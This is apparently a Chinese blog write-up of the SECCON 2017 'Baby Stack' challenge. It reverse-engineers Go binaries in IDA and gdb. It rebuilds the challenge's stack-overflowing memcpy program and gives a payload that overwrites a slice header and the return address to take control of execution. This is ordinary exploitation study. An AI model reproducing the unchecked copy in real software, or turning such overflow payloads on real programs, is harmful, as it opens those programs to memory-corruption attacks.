关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
SECCON 2017 Baby Stack
无
562
0
0
mut3p1g
---------- # 0x01 test 首先写个测试程序,看看在`IDA`下反编译出来是啥样子 ``` package main import ( "fmt" ) const TEST = "test" var hw = "Hello World" type Books struct { title string author string subject string book_id int } func test(){ fmt.Println(hw) fmt.Println("Hello World2") } func book(a, c string)int { var b Books b.title = a b.author = c fmt.Printf("%s", b.title) fmt.Println(b.author) return 0x100000 } func main(){ a := book(TEST, "aaa") fmt.Println(a) test() } ``` 首先看一下结构,`main`包下的函数都可以直接看到: ![](https://leanote.com/api/file/getImage?fileId=5c64bddfab64415167000f64) 其中`main_main`就是`main`函数,分支的左边就是直接调用两个子函数 ![](https://leanote.com/api/file/getImage?fileId=5c64dc14ab64415167001173) 这里需要先看一下参数的传递,通过动态调试可以看到在站上存储着参数,以及参数的长度 ``` 0000| 0xc820037f28 --> 0x4fe210 --> 0x74736574 ('test') 0008| 0xc820037f30 --> 0x4 0016| 0xc820037f38 --> 0x4fce50 --> 0x616161 ('aaa') 0024| 0xc820037f40 --> 0x3 ``` 然后分别看一下两个子函数,首先是`main_book`,可以直接看到结构体的结构,以及将其中的属性都初始化为0;接着将`b.title`设置为参数`a`,`b.author`设置为参数`b`,这里变量名都记录了下来 ![](https://leanote.com/api/file/getImage?fileId=5c64d65cab644151670010f5) 接着这一部分,动态调试一下发现`rbx`是参数,接着传入函数`runtime_convT2E` ![](https://leanote.com/api/file/getImage?fileId=5c64d7daab64414f660011d2) 需要和下面对比一下,可以看到对于`author`加上了0x10,其他部分都是一模一样的 ![](https://leanote.com/api/file/getImage?fileId=5c64d7fdab64414f660011dc) 最后就是打印了,字符串还是延用上面的,但`%s`是现在才加上来的 ![](https://leanote.com/api/file/getImage?fileId=5c64dd39ab64414f66001253) 看一下打印时的调试信息: ``` RAX: 0xc82000a2d0 --> 0x4fe218 --> 0x74736574 ('test') RBX: 0x1 RCX: 0x4b8e80 --> 0x10 RDX: 0xc82000a2d0 --> 0x4fe218 --> 0x74736574 ('test') RSI: 0xc820037e98 --> 0x4fe218 --> 0x74736574 ('test') RDI: 0xc82000a2d0 --> 0x4fe218 --> 0x74736574 ('test') RBP: 0x10 RSP: 0xc820037e10 --> 0x4fc3c8 --> 0x7325 ('%s') RIP: 0x401336 (<main.book+342>: call 0x45ae30 <fmt.Printf>) R8 : 0x8fa4f4 R9 : 0x41 ('A') R10: 0xc82000a2d0 --> 0x4fe218 --> 0x74736574 ('test') R11: 0x0 R12: 0x10 R13: 0x52a6b0 --> 0x807060504030201 R14: 0xa ('\n') R15: 0x8 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401324 <main.book+324>: mov QWORD PTR [rsp+0x18],rbx 0x401329 <main.book+329>: mov rbx,QWORD PTR [rsp+0x80] 0x401331 <main.book+337>: mov QWORD PTR [rsp+0x20],rbx => 0x401336 <main.book+342>: call 0x45ae30 <fmt.Printf> 0x40133b <main.book+347>: xor ebx,ebx 0x40133d <main.book+349>: mov QWORD PTR [rsp+0x40],rbx 0x401342 <main.book+354>: mov QWORD PTR [rsp+0x48],rbx 0x401347 <main.book+359>: lea rbx,[rsp+0x40] No argument [------------------------------------stack-------------------------------------] 0000| 0xc820037e10 --> 0x4fc3c8 --> 0x7325 ('%s') 0008| 0xc820037e18 --> 0x2 0016| 0xc820037e20 --> 0xc820037e70 --> 0x4b8e80 --> 0x10 0024| 0xc820037e28 --> 0x1 0032| 0xc820037e30 --> 0x1 0040| 0xc820037e38 --> 0x7ffff7f6f0a8 --> 0x4ef420 --> 0x10 0048| 0xc820037e40 --> 0x7ffff7f6f0a8 --> 0x4ef420 --> 0x10 0056| 0xc820037e48 --> 0x47b102 (<reflect.TypeOf+178>: mov rax,QWORD PTR [rsp+0x18]) ``` 然后看一下返回后的栈结构: ``` 0000| 0xc820037ed8 --> 0x4fe218 --> 0x74736574 ('test') 0008| 0xc820037ee0 --> 0x4 0016| 0xc820037ee8 --> 0x4fce58 --> 0x616161 ('aaa') 0024| 0xc820037ef0 --> 0x3 0032| 0xc820037ef8 --> 0x100000 ``` 可以看到,参数仍然不动,返回值在参数下面 然后看一下`main_test`,实际上和上面差不多,就不分析了 # 0x02 题目分析 ## 1. 实现还原 其他部分可以类推上面的,主要还是看`memcpy`这部分: `buf`为目标地址,`text`为输入的`message`: ![](https://leanote.com/api/file/getImage?fileId=5c64e56aab6441516700121f) 参数确定了,再跟进去看一下其具体实现: ![](https://leanote.com/api/file/getImage?fileId=5c651625ab64414f66001574) 逻辑比较清晰,但关键是字符串的类型,我们测试看一下: ``` a := "zzzzz" fmt.Printf("%p\n", &a) 0xc82000a3a0 gdb-peda$ x /10xg 0xc82000a3a0 0xc82000a3a0: 0x000000c82000a3b0[字符串内容] 0x0000000000000005[len] gdb-peda$ x /10xg 0x000000c82000a3b0 0xc82000a3b0: 0x0000007a7a7a7a7a("zzzzz") 0x0000000000000000 ``` 于是可以得到结果: ``` text的地址指向字符串结构体 而结构体的str即是指向字符串存储位置的指针 结构体的length就是数字表示长度 ``` 再看一下切片: ``` a := []byte{'1','2','3'} fmt.Printf("%p\n", &a) 0xc82000e0e0 gdb-peda$ x /10xg 0xc82000e0e0 0xc82000e0e0: 0x000000c82000a2a9[切片内容] 0x0000000000000003[len] 0xc82000e0f0: 0x0000000000000003[cap] 0x0000000000000000 gdb-peda$ x /10xg 0x000000c82000a2a9 0xc82000a2a9: 0xc000000000333231("123") 0x24000000000051e5 ``` 同上,只是多了个`cap` 那么可以用个`demo`试试: ``` package main import "fmt" import "unsafe" func main(){ a := []byte{'1','2','3'} fmt.Printf("%p\n", a) // 数组的内容的地址 fmt.Printf("%p\n", &a) // 数组的地址 b := (*int)(unsafe.Pointer(&a)) // b为数组的地址 *b = 1 fmt.Printf("%x\n", b) fmt.Printf("%x\n", a) } => 0xc82000a291 0xc8200100e0 c8200100e0 panic: runtime error: invalid memory address or nil pointer dereference [signal 0xb code=0x1 addr=0x1 pc=0x458744] ``` 然后看一下`buf`的声明: ![](https://leanote.com/api/file/getImage?fileId=5c6619c9ab6441099e0003a6) 这里`buf`直接从栈上获得了一个地址用来存放内容,然后将`len`和`cap`还有那个地址也直接写到站上,这样就成了一个切片。 但是我自己实现的时候,如果用`make([]int, 0x20)`,那么会调用`runtime.makeslice`;如果用`[]int{}`又会调用`runtime.newobject`,却没有办法直接在站上出现一个切片。 那么问题就在于,`golang`分配的空间到底是在堆上还是栈上了: https://blog.cyeam.com/golang/2017/02/08/go-optimize-slice-pool#%E5%A0%86%E8%BF%98%E6%98%AF%E6%A0%88 写个`demo`,下面这样`a`分配的数组空间就在栈上 ``` func F() { var a []int = make([]int, 10, 20) a[0] = 0xdeadbeef c := a[0] fmt.Println(c) } ``` 还有个奇怪的`demo`,下面这样`a`分配的数组也在栈上,但是调用`fmt.Println`就会去堆上 ``` package main func main() { a := make([]int, 0x20) c := a[:] println(c) } ``` 而下面这个也分配在栈上: ``` package main import "fmt" func main() { a := make([]byte, 0x20) fmt.Println(string(a)) } ``` 最后实现源码,大致还原了原题 ``` package main import ( "fmt" "os" "bufio" "unsafe" ) func memcpy(dst *int, src *int, length int){ for i:=0; i< length; i++ { *(*byte)(unsafe.Pointer((uintptr(unsafe.Pointer(dst))))) = *(*byte)(unsafe.Pointer((uintptr(unsafe.Pointer(src))))) dst = (*int)(unsafe.Pointer((uintptr(unsafe.Pointer(dst))+1))) src = (*int)(unsafe.Pointer((uintptr(unsafe.Pointer(src))+1))) } } func main(){ var buf []byte = make([]byte, 0x20) scanner := bufio.NewScanner(os.Stdin) fmt.Printf("%s", "Please tell me your name >>") scanner.Scan() name := scanner.Text() fmt.Printf("%s", "Give me your message >>") scanner.Scan() text := scanner.Text() memcpy( (*int)(unsafe.Pointer(uintptr(*(*int)(unsafe.Pointer(uintptr(unsafe.Pointer(&buf))))))), (*int)(unsafe.Pointer(uintptr(*(*int)(unsafe.Pointer(uintptr(unsafe.Pointer(&text))))))), len(text), ) fmt.Printf("Thank you, %s!\nmsg : %s", name, string(buf)) } ``` ## 2. exp编写 我们的目标,当然就是控制`rip`了。所以先看一下`memcpy`覆盖的地址,以及和返回地址的距离 ``` 可控的地址: gdb-peda$ p buf $2 = { array = 0xc820039db0 "b", len = 0x20, cap = 0x20 } 返回地址: 0xc820039f48 --> 0x429ef0 (<runtime.main+688>: mov ebx,DWORD PTR [rip+0x1903c2] # 0x5ba2b8 <runtime.panicking>) ``` 那么先输入很长的字符串,但是发现报错了: ``` panic(0x4e4800, 0xc8200a6020) /usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6 fmt.(*fmt).padString(0xc8200a2058, 0x4136644135644134, 0x3964413864413764) /usr/lib/go-1.6/src/fmt/format.go:130 +0x406 fmt.(*fmt).fmt_s(0xc8200a2058, 0x4136644135644134, 0x3964413864413764) /usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fmt.(*pp).fmtString(0xc8200a2000, 0x4136644135644134, 0x3964413864413764, 0xc800000073) /usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fmt.(*pp).printArg(0xc8200a2000, 0x4c1c00, 0xc8200a6000, 0x73, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fmt.(*pp).doPrintf(0xc8200a2000, 0x5220a0, 0x18, 0xc820039ea8, 0x2, 0x2) /usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fmt.Fprintf(0x7fd8802701c0, 0xc820084008, 0x5220a0, 0x18, 0xc820039ea8, 0x2, 0x2, 0x40beee, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fmt.Printf(0x5220a0, 0x18, 0xc820039ea8, 0x2, 0x2, 0x20, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:197 +0x94 main.main() /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e ``` 看来应该是把`printf`的参数给覆盖了,导致报错,定位一下: ``` hex pattern decoded as: 4Ad5Ad6A 104 hex pattern decoded as: d7Ad8Ad9 112 ``` 然后在这之间还存在`&buf`: ``` gdb-peda$ p &buf $3 = (struct []uint8 *) 0xc820039e70 ``` 我们在覆盖到返回地址之前,会先把`&buf`覆盖了,这样导致`buf.array`的地址是不可读的,于是会报错,所以这里需要设置其为一个合法值才行 最终用如下`payload`可以控制返回地址为0x12345678 ``` payload = "a"*104 + p64(0x000000c000000000) + p64(0x8) + "a"*80 + p64(0x000000c000000000) + p64(0x8) + "c"*192 + p64(0x12345678) ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.